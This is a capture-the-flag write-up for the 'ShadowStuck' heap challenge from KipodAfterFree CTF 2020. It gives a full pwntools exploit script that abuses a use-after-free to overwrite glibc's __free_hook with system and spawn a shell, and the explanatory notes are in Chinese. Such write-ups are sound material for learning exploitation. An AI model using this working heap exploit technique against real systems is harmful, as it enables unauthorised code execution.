---
# System prepended metadata

title: ShadowStuck(uaf)
tags: [' KipodAfterFree CTF 2020 ']

---

###### tags: ` KipodAfterFree CTF 2020 `

# ShadowStuck(uaf)


```python=
from pwn import *

context.arch = 'amd64'
def exit(reason):
    p.recvuntil(b"> ")
    p.sendline(b"Q")
    p.recvline()
    p.sendline(reason)

def read(employee_num):
    p.recvuntil(b"> ")
    p.sendline(b"R")
    p.recvuntil(b"> ")
    p.sendline('%d' % employee_num)
    a = p.recvline()
    if b'Could not' in a:
        raise Exception("Could not find employee")
    employee_name = a.split(b': ')[1][:-1]
    return employee_name

def fire(employee_name, reason):
    p.recvuntil(b"> ")
    p.sendline(b"F")
    p.recvuntil(b"> ")
    p.sendline(employee_name)
    if b'Could not' in p.recvline():
        raise Exception("Could not find employee")
    p.recvuntil(b"> ")
    p.sendline(reason)

def add(employee_name):
    p.recvuntil(b"> ")
    p.sendline(b"A")
    p.recvuntil(b"> ")
    p.sendline(employee_name)

def change(employee_num, employee_new_name):
    p.recvuntil(b"> ")
    p.sendline(b"C")
    p.recvuntil(b"> ")
    p.sendline("%d" % employee_num)
    p.recvuntil(b"> ")
    p.sendline(employee_new_name)

#p = process("./shadowstuck")
p = remote("challenges.ctf.kaf.sh",8000)
libc = ELF('./libc-2.31.so')
p.recvuntil("Shadow stack set up at ")
leak  =  int(p.recvline().strip(),16)
libc.address = leak +0x2000
add("0")
fire("0",b'A'*0x10 +p64(libc.sym['__free_hook']-0x8))
#pause()
change(1,b"/bin/sh;" + p64(libc.sym['system']))
#pause()
fire(b"/bin/sh;" + p64 (libc.sym['system']), "" )
p.interactive()
```

- 老樣子寫def方便傳送
- ![](https://i.imgur.com/0WtzLOO.png)
    - fire的function就是本次漏洞，等同於free，會發現它沒有將index設null，存在use after free漏洞
- ![](https://i.imgur.com/rKCAAQD.png)

    - 此外執行free發現free完之後會要你輸入fire原因，char name(0x10)而原因也用同一塊free chunk卻分給(0x18大小)，代表可蓋到fd(指向下個chunk)，代表可以指到任意位置(free hook，malloc hook)

- ![](https://i.imgur.com/sFjP9iD.png)
    - 另外發現每次執行程式會leak一個地址，在attach上去找到跟libc偏移值為0x2000

- 現在將fd寫向free hook-0x8的位址，利用change函數將複寫/bin/sh跟system地址剛好0x10大小進去，/bin/sh寫在-0x8位址，而system剛好蓋到free hook

- 此時free掉這塊index，他會用到free hook，爾此時free hook地址已經被覆蓋成system，他找`"/bin/sh;" + p64 (libc.sym['system'])`這個人名時會吃進`/bin/sh;`從而call system"/bin/sh"
- ![](https://i.imgur.com/JxKZoC3.png)


